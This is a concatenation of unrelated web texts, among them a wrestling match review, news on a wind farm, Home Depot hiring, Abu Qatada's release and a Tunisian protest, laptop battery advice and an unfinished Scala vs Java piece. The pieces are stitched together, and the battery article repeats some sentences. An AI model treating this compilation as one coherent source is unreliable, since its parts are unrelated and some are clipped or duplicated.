demand and empower yourself with the endless opportunities creative developers have.  By joining our complete bundle of courses you will be empowered with everything you need to know from beginner all the way to a skilled animation developer. These courses will excite you and motivate you to create a high quality Rich animations and if for variety of outputs fitting for HTML5, JavaScript, Flash banners, Desktop applications, IOS and android apps using the GSAP JavaScript and AS3 library.
-Wrestle Kingdom is over – what a great show it was! Good undercard, awesome title matches (EVERY single’s title match became an instant classic), and, most importantly, absolutely unforgettable main event. Let’s take a closer look at the Okada vs. Omega match and think what’s next for both Rainmaker and Cleaner!  I was waiting for this fight since August. Omega did awesome job in last year, proving that he’s one of the best wrestlers in the world and definitely the biggest western non-WWE superstar. Great psychology, incredible athleticism and spots. Spots that only he could take.  I was pretty sure that we’d see some high-risk actions in this match too, and I knew that Omega would sacrifice his body really bad – he’s a risk taker. Okada needed something special as an ace and I think that Omega was the best option for him on Wrestle Kingdom. Kenny represents such a different style than, for example, Goto and Tanahashi. Everyone knows that Omega can do absolutely everything in ring and we witnessed it once again on Wednesday.  First of all – terminator-styled Omega’s entrance. It was fun, slightly parodic and well-suited Kenny’s persona. I don’t think I could imagine a better way for him to enter Tokyo Dome’s ring.  The road to Tokyo Dome was very intense for both Okada and Omega. After succesfully defending his G1 title shot against YOSHI-HASHI and Goto, Omega took on Okada pretty hard, as he and Bullet Club had matches with CHAOS on almost every NJPW show in October and December. We had some memorable moments on this road, we jumped on the hype train. Omega’s journey in 2016 was incredible – after taking over BC from Styles, Kenny made a lot of steps to have an opportunity to main event Wrestle Kingdom. In a period of one year he did more than a lot of guys in their whole career. I’m pretty sure that last year will definitely shorten his career, but hey – who knows if he would have second chance to prove his skills?  So they entered the ring and… the time stopped. Literally, the match took 46 minutes from our lives, but it felt like they were fighting for 15 minutes. A lot of people complained that the beginning of the fight was boring. When I sat down in front of the screen I knew that this match was going to be pretty long. It’s obvious that you can’t handle the same tempo throught 45 minutes, even if you are Okada or Omega. It was a storytelling that needed some substructure and the first 15-20 minutes did this work. This part was all about the locks and mat wrestling, searching for rival’s weaknesses and trying to make them even more problematic for the opponent.  Then we had the moonsault – display of Omega’s inhuman speed and agility. As always in his fights, spot like this means the beginning of the second stage of the fight – it’s some kind of a turning point. The match speeded up, with more moves from both Kazuchika and Kenny. Insane Dragon Suplex and Rainmaker’s landing on his neck made me almost scream. Earlier on WK11 we saw KUSHIDA taking similar bump from Takahashi, but this… This was insane. Just take a look at this:  After this suplex it was clear to me that regardless of the result this match would become an classic, even more than that – maybe one of the best matches that wrestling world had ever witnessed. So much sacrifice from both Okada and Omega.  The ending… The ending was the quintessence of everything that I love in wrestling. Crowd went absolutely nuts when Omega kicked-out after Rainmaker. The fact that Kenny didn’t use One Winged Angel once in entire fight works really well for his finisher. If I’m correct he made three attempts to OWA and each time it felt like this would end the fight immediately. He made his finisher more dangerous without even using it in the fight!  I think it was very unlikely that Okada would lose Tokyo Dome defence to the gaijin who just a year ago was in the Junior Heavyweight division. I believed that Kenny could do it, but it was the voice of the heart. My mind told me something totally different. I don’t understand people complaining that NJPW buried Omega. How he would got buried if he gave so awesome fight in his first main event in Tokyo Dome? As I said to my friend – he didn’t lose anything. I’m pretty sure that this feud is not over, although after Suzuki’s return things got pretty complicated. NJPW have just announced that G1 Special will take place in USA. They want to expand to the world and Omega will definitely help them. Is 2017 going to be the year of first Omega’s IWGP Heavyweight title reign? YES!  New Legend? In my opinion Kenny will change his gimmick a bit. YB didn’t help him in the match against Okada. Omega seems like losing his “crazy” persona and heading into more serious version of Cleaner. Do I like this direction? Yes. As much as I like the current Kenny, I think that he needs to change something in his character. In my opinion he will become less arrogant, maybe BC won’t help him anymore as much as they used to do? Time will tell.  Poll  You guys have given 39 votes in my poll “Which stable made better addition?” under my last article about LIJ’s and BC’s additions after WTL. The results:  26 votes (66.67%) – LIJ made better addition (Hiromu Takahashi)  13 votes (33.33%) – BC made better addition (Cody Rhodes)  I think it’s a good way to connect with you guys. I want to know what do you think about WK11’s main event booking – who deserved more to be the IWGP Heavyweight Champion?  Plus: I’ve started my fanpage! If you enjoy reading my articles and want to keep up with me, maybe ask some questions or just want to give some feedback – feel free to do it on my Facebook!  http://facebook.com/korakuenwrestling  PS: You can now also rate my posts! ↓  Advertisements
-Arizona's first wind-energy power plant is a step closer to generating electricity after two government agencies recently approved land agreements with the developer, Iberdrola Renewables. The first phase of the wind farm is scheduled to open by 2010, with about 30 wind turbines as tall as 300 feet generating 63 megawatts of electricity when the wind blows, enough for nearly 16,000 homes. A second phase could bring an additional 200 or more turbines for a maximum capacity of 314 megawatts, which would provide enough electricity for 78,500 homes when the wind blows. The Bureau of Land Management signed a right-of-way agreement and other documents for the Dry Lake Wind Project planned northwest of Snowflake, and the Arizona State Land Department signed a permit for the portion of the project that will use its rural property. The BLM will earn $36,966 in leases on the project next year and should get $87,255 a year after that if the project develops as proposed. State Land's deal is tied to the amount of electricity generated at the plant, and could earn $4 million during the 50-year agreement, Commissioner Mark Winkleman said. Iberdrola also has a private agreement with the Rocking Chair Ranch to use some of its land. The ranch runs cattle on the public and private land in the area, but cattle operations won't be affected by the development, owner Bill Elkins said. Iberdrola, a global company with Spanish headquarters, has an agreement with Salt River Project to sell the utility all of the electricity from the wind farm for its Phoenix-area customers. Stephen Allred, an assistant secretary for the U.S. Department of the Interior, called the project a "totally positive approach to meeting our energy needs in the U.S." The BLM received the application in summer 2007 and acted "fairly fast," but the agency still can improve the speed at which renewable-energy projects get permits, Allred said. "We have to do better with the federal government to give access to them, to speed up the time frame, and to get transmission (lines) to them," he said. Guidelines: You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. You share in the USA TODAY community, so please keep your comments smart and civil. Don't attack other readers personally, and keep your language decent. Use the "Report Abuse" button to make a difference. Read more
-The Georgetown University Master's in Cybersecurity Risk Management prepares you to navigate today’s complex cyber threats. Take classes online, on campus, or through a combination of both -- so you don’t have to interrupt your career. Learn more.  It may be natural for Linux aficionados to get upset when someone criticizes their favorite operating system, but that doesn't make it any easier to bear.  So when some less-than-flattering comments about Linux were revealed recently -- made back in January by none other than Google Chrome developer (and ex-Firefox lead) Ben Goodger -- many Linux bloggers were dismayed.  Goodger had been working on the Linux port of the Chromium project, for which the alpha was recently released. Ars Technica reviewed the alpha, concluding that it's "shaping up nicely," but there was apparently much frustration along the way.  "This entire situation is a clusterf*ck," wrote Goodger earlier this year. "I am not happy with the technical constraints imposed by Linux and its assorted UIs on Chrome's UI and feature set."  Is it even possible to take criticisms like that lying down? Not if the Linux community is on the receiving end, you can be sure.  Time for Standardization?  On Slashdot, jeevesbond called attention to the story, noting that Adobe has been "getting twitchy about the glibc fork" and had previously described Linux's various audio systems as "welcome to the jungle."  Such comments led jeevesbond to wonder, in fact, if it's "time to concentrate on consolidation and standardisation in GNU/Linux in general, and the desktop in particular?"  Was there any shortage of opinions on *that* juicy topic? Not on Planet Linux!  'Linux Is a Server OS'  "Good luck," began Mikkeles.  "It was time 10 years ago when Linux was first gaining real momentum in that area," added bonch. "I remember posting Slashdot comments about it and getting told Linux was about 'choice' and that if I didn't like it, I should contribute code. Ten years later, even Google is bashing Linux for it. I bet nothing will change even now.  "Linux is a server OS, only used on the desktop by enthusiasts," bonch added. "Accept it, because the kind of standardized APIs that are needed are not going to happen with the attitudes that this community has."  Indeed, well nigh 1,000 comments had been made on the topic in less than a week, so we here at LinuxInsider knew the question needed some closer examination.  'Citing Irrelevant Points'  "I am a supporter of Google on the whole, but I think they really mishandled Chrome on a number of points," Slashdot blogger Enderandrew told LinuxInsider.  First, "they started a project that they intended to eventually be multiplatform, but utilized coders who only knew how to make very Windows-centric software," he said. "In doing so, they made life difficult on themselves in the porting process."  Perhaps more to the point, "instead of accepting responsibility for their choice -- every choice comes with an opportunity cost -- they instead divert blame to the Linux platform, citing irrelevant points," Enderandrew explained.  'Problematic Toolkit'  Google also "chose a problematic toolkit that won't easily match the appearance and functionality of the Mac or Windows ports, but then later claimed the main reason they didn't use Qt from the get-go is that multiplatform toolkits would restrict them in exactly this capacity," Enderandrew added. "Not only is this statement not true of Qt, the reality is that they chose a toolkit that doesn't serve their needs well."  GTK, in fact, is also "being criticized by many Gnome/GTK developers, to the extent that GTK is about to see a fairly large overhaul [and] retooling as they approach a 3.0 release," he noted. "This means that even after Chrome is ported to GTK, it will likely need to be updated again for GTK 3."  Had they used Qt, on the other hand, the Chrome developers could have shipped "a product for Windows, Mac, Linux and Solaris on the same day," Enderandrew asserted.  'I Am Extremely Disappointed'  Finally, Google made "the foolish decision to have completely different forks for the different platforms, which makes contributions harder, provides more bugs, hurts the consistency of the product, and overall makes maintenance of the code vastly more difficult," Enderandrew opined. "This decision is the hardest to justify.  "With very different platform forks, Chrome will operate, perform, look and behave differently on different platforms," he concluded. "As someone who uses Linux and Windows daily, I wish Firefox was more consistent on both platforms, and I am extremely disappointed that Google has decided not to value consistency."  Others, however, took no offense at Goodger's comments.  "I didn't see the words as particularly harsh or even unwarranted," Chris Travers, a Slashdot blogger who works on the LedgerSMB project, told LinuxInsider. "The reaction to the thread is fairly overblown, though."  'Simply Settle On a Toolkit'  The basic issue, Travers asserted, "is that Linux does not offer the consistency that Google wants for Chrome, and this leaves them with a few options.  "However, it seems to me that the initial way forward would be to simply settle on a toolkit -- GTK or QT-- and make a great browser using that," he added. "If later one wants to support the other as well, they can do that. Nearly every system comes with the options of both GTK and QT, and these play together reasonably well."  If users are uncomfortable "using multiple inconsistent widget sets, they probably aren't using Linux with anything more than the default applications for their desktops," he concluded. "Chrome won't make headway with these users anyway, so why not just choose whichever toolkit meets their needs best and run with that?"  'It Would Be Good to Standardize'  Nothing in FLOSS, GPL or GNU/Linux precludes standardization, blogger Robert Pogson asserted.  "Many FLOSS packages are created to fill a niche and are not intended to be on every desktop," he told LinuxInsider. "GNU/Linux on the desktop has reached a tipping point where, for efficiency, it would be good to standardize a desktop environment and its libraries. Major players would likely be interested in calling a conference to hash this out."  Goodger's problem, however, "is not so much the Linux libraries but the fact that he's trying to wedge them into some sort of internally designed cross-platform wedge," Montreal consultant and Slashdot blogger Gerhard Mack told LinuxInsider. "I suspect that 'views' needs more changes than the Linux libraries do."  'Too Many Choices'  The problem comes when developers approach Linux GUI apps such as browsers at abstraction layers, Slashdot blogger yagu told LinuxInsider. "There are myriad available options, all with good and bad features, but mostly incompatible at some levels -- and impossibly incompatible when writing something as complex as a browser," he explained.  "It wouldn't be hard to port Chrome in one context -- say, Gnome -- but once you've picked that as your target, using Gnome paradigms, widgets, libraries and tools, you now have something almost guaranteed not to work as designed in KDE," yagu asserted. "This is probably the big downside to developers for Linux GUIs: literally too many choices creating too much work."  The ultimate solution "is to develop and port GUI applications to the lower-level graphics engines, but that would be Xwindows, and that borders on a lost discipline," yagu added. "Certainly it is difficult and labor-intensive. The finished product with this approach is much more compatible across the Linux desktops, but at the same time lacks in specific desktop enhancements through special APIs."  It is a solvable problem, yagu concluded -- "I'd choose the Xwindows approach" -- but "there won't be any solution that makes all Linux users happy."
-The Home Depot will h ire more than 80,000 workers to help deal with the expected springtime rush. (Photo: Mark Humphrey, AP)  Home Depot is the latest retailer to announce that it's hiring, saying that it's aiming to fill more than 80,000 jobs in time for the spring time rush.  The home improvement retailer will be bringing on a range of employees, from cashiers to freight handlers to customer service representatives. To hasten the hiring, It’s even shrunk the application, and is enabling potential workers to apply by clicking on a smartphone or tablet.  "We want everyone to have an easy and convenient experience with The Home Depot, whether they're shopping with us or applying for a position," Tim Crow, the retailer’s executive vice president, human resources, said in a statement.  The jobs will consist of permanent, part-time positions, as well as seasonal jobs. There's also a chance that some of those hired just for spring could land a long-term position, with Home Depot saying that typically half of its seasonal hires stay on permanently.  Home Depot’s hiring binge stands in contrast to several other retailers who have been slashing positions as they shutter stores. American Apparel said in January that it would be cutting 2,400 jobs. And Macy’s previous and pending closures of dozens of locations will result in the loss of 10,100 positions.  Spring is a particularly busy season for home improvement hubs. Lowe’s, which specializes in garden and building supplies, has said it would bring on tens of thousands of workers to help handle the expected rush. And last month, it also said that it would hire more than 1,700 full-time workers by October.  Walmart is another big box retailer that is bolstering its payroll. The world’s largest retailer said in January that it would create 10,000 new retail jobs in the U.S. this year, and also put 24,000 additional people to work in construction as it opens new stores and renovates existing locations.  Read or Share this story: http://usat.ly/2lHR025
-SAN FRANCISCO, CA - OCTOBER 31: Tim Lincecum #55 of the San Francisco Giants waves to the crowd during the San Francisco Giants World Series victory parade on October 31, 2012 in San Francisco, California. The San Francisco Giants beat the Detroit Tigers to win the 2012 World Series. (Photo by Ezra Shaw/Getty Images) (Ezra Shaw/Getty Images)  SAN FRANCISCO (CBS SF) – The Giants overcame the Kansas City Royals in a do-or-die Game 7 on enemy soil to win the World Series Wednesday night, so get ready for a party – a big one. San Francisco is planning a welcome home bash for Halloween-day.  Team officials have been planning for days to be ready to host the city’s third victory parade in five years, and they’re counting on previous experience to help make things as smooth and enjoyable as 2010 and 2012. As in previous years, the center of the action will be on Market Street as it approaches the Civic center from the East. The official starting point for a parade has moved up to Market St at Stuart St. (Planners originally slated it for 2nd and Market but plans are constantly shifting).  From there, the “Parade of Champions” will march west on Market before veering right on McAllister to the steps of City Hall. Here’s the planned route:  KPIX 5 parade coverage will begin at 11 a.m.  KPIX LIVE WEB STREAM: Any Giants events available will be live-streamed online here. KPIX Live video works on mobile devices including iPhones, Androids, iPads, and more  The impending Halloween-morning rainstorm could affect the timing of any parade. The parade will actually get rolling slightly later this year (it was 11 a.m. in the past). This year, the festivities start around noon and culminate with speeches from players and dignitaries in front of San Francisco City Hall. In the past the parade portion has lasted about an hour and a half. The length and timing of the speeches are a big variable, depending on how big a show the city and team plan to put on. The entire event would wrap up by around 4 p.m. Combine the event with a planned Critical Mass cycling protest, and the commute home for San Francisco-based workers hoping to trick-or-treat with kids in the suburbs could be particularly painful.  TRAFFIC: KCBS Live Traffic Map  Complete street closure information will be made available prior to the event. As always, you can get the latest on local freeway conditions from the KCBS Traffic Maps.  The KPIX 5 forecast calls for the chance of rain moving in right around the lunch hour on Halloween. So unless you enjoy partying like 2012 Marco Scutaro in the rain, plan on bringing an umbrella.  Click the following links to get transit info for Caltrain, BART and Muni, which will likely be the most heavily trafficked public transit options for the events. BART says they will run rush hour service all day long and operate until 2 a.m. to handle the crowds, Caltrain won’t be adding trains but does say it will “provide extra capacity” on existing runs. Runs out of San Francisco at the end of the day will take off when the trains reach capacity. The Golden Gate Ferry says extra ferries have been added to the schedule, they will be loaded up and sent when full, rather than operating on a schedule. Riders are encouraged to buy tickets in advance or use a Clipper Card.  Want to prepare by re-living the last two parades? Check out these photo galleries from 2010 and 2012.  Complete Giants Coverage:
-PHILADELPHIA ― The chairman of Hillary Clinton’s campaign urged U.S. intelligence agencies on Wednesday to get an ironclad agreement from Donald Trump that he would not leak information to the Russians before providing him with presidential candidate briefings.  “I think it’s an issue that … Jim Clapper’s going to have to come to grips with,” John Podesta said in an interview with The Huffington Post, referring to the director of national intelligence. “And I think they’ll have to find a way to negotiate with him and with his campaign to get … more than assurances ― sort of some proof that they can be able to hold on to that information.”  Speaking from the site of the convention, Podesta’s remarks underscored the extent to which the event unfolding behind him had become upended by the latest controversial remarks from the other side of the ledger. Earlier that morning, Trump had encouraged Russian agencies to try to hack and leak information on Clinton’s emails, following a hack these same agencies apparently executed on the Democratic National Committee.  “This isn’t a normal political story, and it’s not funny ... And for Donald Trump to suggest that a foreign power should hack the candidate of the opposing power is beyond outrageous. I think it is really disqualifying,” Podesta said.  “I don’t know how the DNI assures himself that information that is being passed on to him is going to be secure,” he added.  Choosing his words deliberately, Podesta conceded that the events of the last few days would change Clinton’s approach to Russia should she end up winning the presidency. But he also made the point that the relationship between the two countries was at a stage of general distrust well before the party committee’s emails were hacked.  “I think that she’s been very skeptical and very tough on Putin since the days that he came back into power,” Podesta said. “So I think while this is a particularly outrageous potential interference in our democratic process … if they’re interfering in our democratic process, that means only that the pressure needs to ratchet up even more than it already has been.”  In ways more profound than virtually any other campaign controversy, Trump’s wink and nod to the Russians roiled the trail on Wednesday. It wasn’t just the timing ― coming during the heart of the Democratic convention ― it was in the way it quickly sparked backlash from members of his own party, who are deeply wary of Trump’s cozy relationship with Vladimir Putin.  But for all the geopolitical dust that Trump kicked up, the Clinton campaign also found itself having to deal with an impending and potentially immediate domestic problem as well. Officials in the ranks have resigned themselves to the high likelihood that more DNC emails will leak.  The DNC has brought in a few firms to assess the extent of what has been exposed, Podesta said. The campaign itself was relying on a “high level of technical security” to monitor its own vulnerabilities.  “I think we have a better sense of information that ― files that they searched, avenues that they were exploiting,” Podesta said. “So we’re just going to have to take this one day at a time. But this is an extraordinarily serious matter that needs the attention of our intelligence agencies, the law enforcement ― and the American public has to ask itself what is going on here.”
-Team Japan’s Kazuhisa Makita pitches against Team Europe in the fourth inning of their friendly baseball game at Tokyo Dome in Tokyo, Tuesday, March 10, 2015. (AP Photo/Shizuo Kambayashi) (Photo: The Associated Press)  TOKYO (AP) — Japan rallied with three runs in the eighth inning to beat Team Europe 4-3 Tuesday in the first of a two-game series.  The European team took a 3-1 lead in the fourth inning on a double by Oscar Angulo that scored two runs at Tokyo Dome. Nobuhiro Matsuda drove in the game-tying run and Yuhei Takai singled in the winning run in the bottom of the eighth.  The series is part of the World Baseball Softball Confederation's efforts to have baseball make a return at the 2020 Tokyo Olympics.  Baseball and softball were dropped after the 2008 Beijing Games but could make a return in 2020 under reforms made by the International Olympic Committee.  The European team, making its international debut, was made up of players from six countries, mostly the Netherlands and Italy.  Japan reliever Katsuki Matayoshi picked up the win after recording thee outs in the eighth.  The series wraps up on Wednesday at the same venue.  Copyright 2015 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed.
-Montavilla Brew Works  A file photo of beer. (Kristyna Wentz-Graff/Staff)  A natural flavor found in hops and beer helped mice fight weight gain and high cholesterol, a new study found.  The study, authored by Oregon State University researchers, looked specifically at the compound xanthohumol and how dosages could affect health in mice, a news release said. The study was recently published in the journal Archives of Biochemistry and Biophysics.  For the study 48 male mice were given a high-fat diet and different amounts of xanthohumol. The mice were randomly split into three groups of 16 -- one group wasn't given any xanthohumol and the other two groups received 30 or 60 milligrams per kilogram of body weight a day for 12 weeks.  Mice given the highest dosages of xanthohumol cut harmful cholesterol by 80 percent, insulin levels by 42 percent and a biomarker of inflammation by 78 percent, when compared to mice that weren't given the compound.  And, although all of the mice were gaining weight and eating the same amount of rich food, weight gain increased by 22 percent less in mice that were given the compound.  Specifically, the study found that the xanthohumol apparently had boosted oxygen intake and metabolic rates and also cut down plasma in a protein that affects cholesterol levels.  "This is the first time we've seen one compound with the potential to address so many health problems," Cristobal Miranda, a research assistant professor with Oregon State's Linus Pauling Institute and lead author on the study, said in a statement. "These were very dramatic improvements."  More research is needed to see if the same tactic could work for humans, but the compound appeared to tackle many traits of metabolic syndrome, according to a news release on the study. Those with metabolic syndrome have been diagnosed with at least three conditions such as obesity, high blood pressure and elevated lipids.  From 25 to 34 percent of United States adults meet criteria for the syndrome, and are therefore at a higher risk of type-2 diabetes and cardiovascular disease, according to the news release.  But, before you start guzzling beer in hopes that it will improve your health, researchers noted that the highest amount of xanthohumol used in the study is far beyond ordinary dietary levels. Sixty milligrams per kilogram of body weight a day would equate to 3,500 pints of beer daily for a human adult.  However, researchers noted that high amounts of xanthohumol could potentially be taken in the form of a daily dietary supplement.  Read more here.  --Laura Frazier  lfrazier@oregonian.com  503-294-4035  @frazier_laura
-One often discussed question is whether it’s better to keep your laptop plugged in, or if you should use it on battery power.  Turns out, the answer isn’t entirely straightforward. Let’s take a look.  Know Your Laptop Battery  For both types of batteries, the following statements are true (for modern laptops ):  A battery cannot be overcharged. There’s no danger of a battery being overcharged if you leave it plugged in all the time. As soon as it hits 100%, it will cease charging and won’t start again until the voltage falls below a certain level.  There’s no danger of a battery being overcharged if you leave it plugged in all the time. As soon as it hits 100%, it will cease charging and won’t start again until the voltage falls below a certain level. Fully discharging a battery will damage it. Having a battery fully discharged for an extended period can put it into a deep discharge state, from which it might never recover.  So, based on this, do we conclude that you should simply leave your laptop plugged in all the time? Not quite.  Things That Damage Lithium Batteries  Charge/discharge cycles. Every battery has a finite number of times it can be charged and discharged.  Every battery has a finite number of times it can be charged and discharged. Voltage level. The higher the charge level (measured in volts per cell), the shorter the battery’s life.  The higher the charge level (measured in volts per cell), the shorter the battery’s life. High temperature, over 30 degrees celsius. This can cause irreparable damage.  Charge Level  Lithium-ion batteries charge to 4.20V/cell, which amounts to 100% of its capacity. At this level, the battery will have a lifespan of 300-500 discharge cycles.  Every 0.10V/cell reduction in the charge doubles the number of discharge cycles, until the optimum is reached: 3.92V/cell, with 2400-4000 discharge cycles. Unfortunately, at this level the battery is only 58% charged, so the runtime will be little more than half of a fully-charged battery.  Heat  And then there’s heat. Elevated temperatures, typically classified as being over 30 degrees celsius, will shorten the life of a battery irrespective of any other factors. Simply leaving your laptop in your car on a summer’s afternoon is a bad idea.  When the stress of high temperature combines with the stress of high voltage, the effects are even greater.  The Battery University tests showed that a battery stored with a 40% charge at 40 degrees would see its capacity fall to 85% after a year.  Charged to 100% the capacity falls to 65% under the same conditions. For a fully charged battery at 60 degrees the capacity plummets to 60% in just three months.  The evidence seems clear. Keeping the battery permanently charged at 100% will slowly shorten its life. Keeping it at 100% and exposing it to high temperatures will shorten it much quicker.  Should You Remove The Battery?  If heat is such a danger, it begs another question. Should you remove the battery altogether when using your laptop on AC power?  If you do choose to remove the battery, ensure that you store it properly. This means charged to between 40% and 70%, and kept at room temperature.  Recommendations  Curiously, the industry as a whole doesn’t seem to have settled on a single answer for the question about whether to use your laptop on AC or battery power.  Apple’s advice is no longer on its website, but you can still read it online . The company recommends against leaving a laptop plugged in all the time. Instead, it suggests:  An ideal user would be a commuter who uses her notebook on the train, then plugs it in at the office to charge. This keeps the battery juices flowing  Leaving your laptop plugged in will not cause short term damage, but if you only ever use it on AC power you’ll almost certainly find that after a year the battery’s capacity has been significantly reduced. Similarly, if you only ever use it on battery power you’ll get through the battery’s discharge cycles quicker.  So, the best solution is something of a compromise between the two: use it on battery power some days, and keep it plugged in on others. And in all cases, you’ll want to ensure it doesn’t get too hot.  How do you use your laptop? What steps do you take to keep your battery lasting for as long as possible? Let us know in the comments.  Image credits: Remove laptop battery via ifixit.com, Plugged in via Anthony Ryan
-TUNIS (Reuters) - Several thousand Tunisians marched through central Tunis on Saturday to protest against a bill that would grant amnesty to businessmen accused of corruption when autocrat Zine El-Abidine Ben Ali was in power.  Critics of the Economic Reconciliation bill say it is a step back from the spirit of Tunisia’s 2011 revolution to oust Ben Ali but government officials say it is a way get the businessmen to inject some of their ill-gotten cash back into the economy.  The draft law allows businessmen to reveal stolen funds and repay them. No exact figures exist for the amount of graft during Ben Ali times but based on past investigations, officials say some $3 billion could be returned initially under the law.  Waving flags and banners saying “No to forgiveness” and “Enough Corruption”, about 5,000 people accompanied by opposition party leaders and activists marched through the capital’s central Avenue Habib Bourguiba.  Six years after the uprising against Ben Ali, Tunisia is praised as a model of democratic transition but it is still struggling with the corruption, economic malaise and youth frustrations that helped trigger the revolt.  For many critics the law - which has been stuck in parliament for two years since President Beji Caid Essebsi proposed it - is simply an amnesty for criminals and a way to rehabilitate Ben Ali allies back into Tunisian society.  “We’re here to say to Essebsi and his cohorts that the law will fall in the street like in all democracies,” Popular Front opposition leader Ammar Amroussia told Reuters. “He wants to pass this corrupt law, but these protests show that we say no.”  Essebsi, himself a former Ben Ali official, sent the law to parliament in 2015 though the bill was delayed after criticism it benefited business elites tied to the government. It is now being debated in committee and then goes to a plenary session.  Despite a consensus between secular and Islamist parties that helped keep Tunisian stable after the uprising, the bill has divided Tunisians between those who want to close the door on the past and those who say they cannot tolerate corruption.  Protests against the law, and others in the south of Tunisia this month over jobs, come at a sensitive time for Prime Minister Youssef Chahed who is struggling to pass austerity measures and public spending reforms to help economic growth.  Despite its democratic progress, free elections and new constitution, Tunisia still faces social unrest among many young unemployed who feel their revolution against official abuses and corruption has not delivered economic opportunities.  “Today we are saying the defenders of the revolution are still here,” said protester Sabra Chrifa, wearing a T-Shirt with the slogan “No Forgiveness”. “We can’t accept something that whitewashes corruption like this.”
-Mr Grayling attacked human rights laws as the hate cleric was released from a high security prison and returned home having won his latest challenge against deportation.  He was freed after the Special Immigration Appeals Commission (Siac) used human rights laws yesterday to block his removal to Jordan amid claims that evidence gained under torture could be used against him.  Mr Grayling told the Commons: “All of us believe the law should not operate in this way and this case underlines my view that there is a very real need for major changes to the way the European human rights framework operates."  Qatada, once branded Osama bin Laden's right-hand man in Europe, will face strict bail conditions and be watched round-the-clock in an operation reportedly costing £5 million a year.  But Mr Grayling said European human rights laws, introduced in Britain through the 1998 Human Rights Act, were not intended to help dangerous men like Qatada.  He added: "I do not believe it was ever the intention of those who created the human rights framework that we are currently subject to, that people who have an avowed intent to damage this country should be able to use human rights laws to prevent their deportation back to their country of origin."  David Cameron said he "shares the British people's frustration" at Qatada's presence in Britain.  "I am completely fed up with the fact that this man is still at large in our country. He has no right to be there, we believe he is a threat to our country.  "We have moved heaven and earth to try to comply with every single dot and comma of every single convention to get him out of our country.  "It is extremely frustrating and I share the British people's frustration with the situation we find ourselves in."  Conservative MP Jacob Rees-Mogg urged the Government to follow Henry VIII's ruling that it was high treason to appeal to a court outside his kingdom.  The North East Somerset MP said: "Has not the time come for this Parliament once more to legislate to prohibit appeals to foreign courts and to prohibit the judgments of foreign courts leading our judiciary?"  Terror suspect Qatada was released from Long Lartin prison today and returned to north London.  He was driven away from the maximum security prison HMP Long Lartin in Worcestershire in a black Volkswagen people carrier.  The heavily-bearded cleric, who was sitting in the rear of the vehicle, made no attempt to hide from waiting media cameras and appeared to be smiling.  He was met by protesters outside his home, the location of which cannot be identified.  Earlier Nick Clegg, the Deputy Prime Minister, said the Government is “absolutely determined” to deport Abu Qatada as a legal watchdog warned it could take “years” to remove him. He said the Government would appeal against the ruling.  “We’re determined to deport him,” he told ITV’s Daybreak. “We strongly disagree with the court ruling, we’re going to challenge it, we’re going to take it to appeal.  “We’re absolutely determined to see this man get on a plane and go back to Jordan.  “He doesn’t belong here, he shouldn’t be in this country, he’s a dangerous person. He wanted to inflict harm on our country and this coalition government is going to do everything we can to challenge this every step of the way to make sure he is deported to Jordan.”  However, David Anderson QC, the Independent Reviewer of Terrorism Legislation, indicated that it could take years before Qatada can be removed from Britain.  Mr Anderson said he believed the Jordanian government could resolve the impasse by amending the country’s “code of criminal procedure” to satisfy the Special Immigration Appeals Commission, which ordered Qatada’s release yesterday.  But he conceded that the deportation process may then need to start again, including allowing Qatada repeated appeals, before the cleric can be deported.  Mr Anderson told BBC Radio’s Today programme the key to resolving the dispute was with the Jordanian government.  “It's a very frustrating episode for all concerned but as far as I can see this is not the end of the road,” he said.  “What the judge said, what the court said in terms, was that a simple amendment to the Jordanian criminal code so as to remove an ambiguity that is in it at the moment ought to suffice to make deportation possible.  “It would then be possible to say without fear of contradiction that Abu Qatada, if placed on trial back in Jordan, would not be tried on the basis of evidence obtained by torture,” he said.  Such action could see Qatada deported in “months” or “a very few years”, he added.  Jordan’s acting information minister, Nayef al-Fayez, said the Jordanian government shared Britain’s “disappointment” at the ruling.  “From our tentative understanding, there will be an appeal from the British government and accordingly we will be coordinating closely with them to see what are the next steps to be taken,” he told the BBC.  The former Tory security minister, Baroness Neville-Jones, called for reforms to deportation law to allow ministers to decide who should be thrown out of the country.  “The system is now being made a monkey of,” she told Today.  Yesterday, Mr Justice Mitting ordered that Qatada should be released from a high-security prison and imposed bail conditions that only placed him under a 16-hour curfew.  It is the latest twist in a legal battle that has run for more than a decade and cost the taxpayer more than £1 million in legal fees and benefits.
-Scala vs Java – Differences and similarities  8 MINUTE READ  Scala is a new generation Java virtual machine (JVM) language that is gaining popularity as a modern alternative to Java. Following its launch in 1995, Java went on to become the undisputed leader among programming languages, especially in the context of server-side development. At present, Scala is nowhere near as popular as Java, but it has been steadily gaining momentum over the past few years.  When Twitter made the decision to move their platform from Ruby to Scala in 2009, it caught the attention of many in the world of web development. This knowledge within the industry had a huge impact and many other companies began to follow suit in making the transition to Scala. A large number of high-profile websites such as eBay, Netflix, LinkedIn and The Guardian now use Scala for backend development.  Juliano Alves (@vonjuliano), Senior Software Engineer at uSwitch.com, was an early adopter of Scala. Speaking to Venturi’s Voice, he explained his motivations for learning the language:  “I like technology, so I am always looking for a better tool to solve my problems. Scala is more modern than Java, it has more resources, is more concise and it adds the functional programming paradigm. Besides, it runs on the top of the JVM, so it can make use of all the advantages of the platform,” he said.  With more and more programmers opting to learn Scala, it is important for all those who work in development to understand the major differences between Java and Scala so they can make an informed decision when choosing the most appropriate language for their next project.  Size and quality of code  While using Java, developers are required to write long lines of code to accomplish routine tasks. Scala enables developers to complete the same tasks with more concise lines of code. A task which requires 20 lines of code in Java may only take 6 in Scala. Condensing code in this way makes it more organised, readable and reusable. Fewer lines of code also makes it easier to identify and correct bugs.  Bruno Catarino, experienced Java and Scala contractor, highlighted that concise code offers a few additional benefits when it comes to dealing with more complex expressions: “Due to the functional nature of Scala it allows for more natural use of Lambda’s and chain functions, requiring significantly less code than Lambda use in Java,” he said.  Complexity of code  While it can accomplish tasks with less code, Scala has a more complex structure than Java. Developers can get the job done with less lines of code, but the code they do write is complicated. Many developers point out that there is a steep learning curve which needs to be overcome when first adopting Scala. Juliano offered helpful advice for Java developers toying with the idea of learning Scala.  “Although it’s possible, I would say to avoid rewriting ‘Java code in Scala’. Scala isn’t exactly a simple language, and many of the solutions and concepts from Java don’t apply. Dedicate some time studying the language and its ecosystem, but more important, learning functional programming,” he said.  Explaining how he got to grips with the language, Bruno said it was very much a case of incremental improvement over time.  “I started studying Scala and looking into the difference between the two languages in my own time. 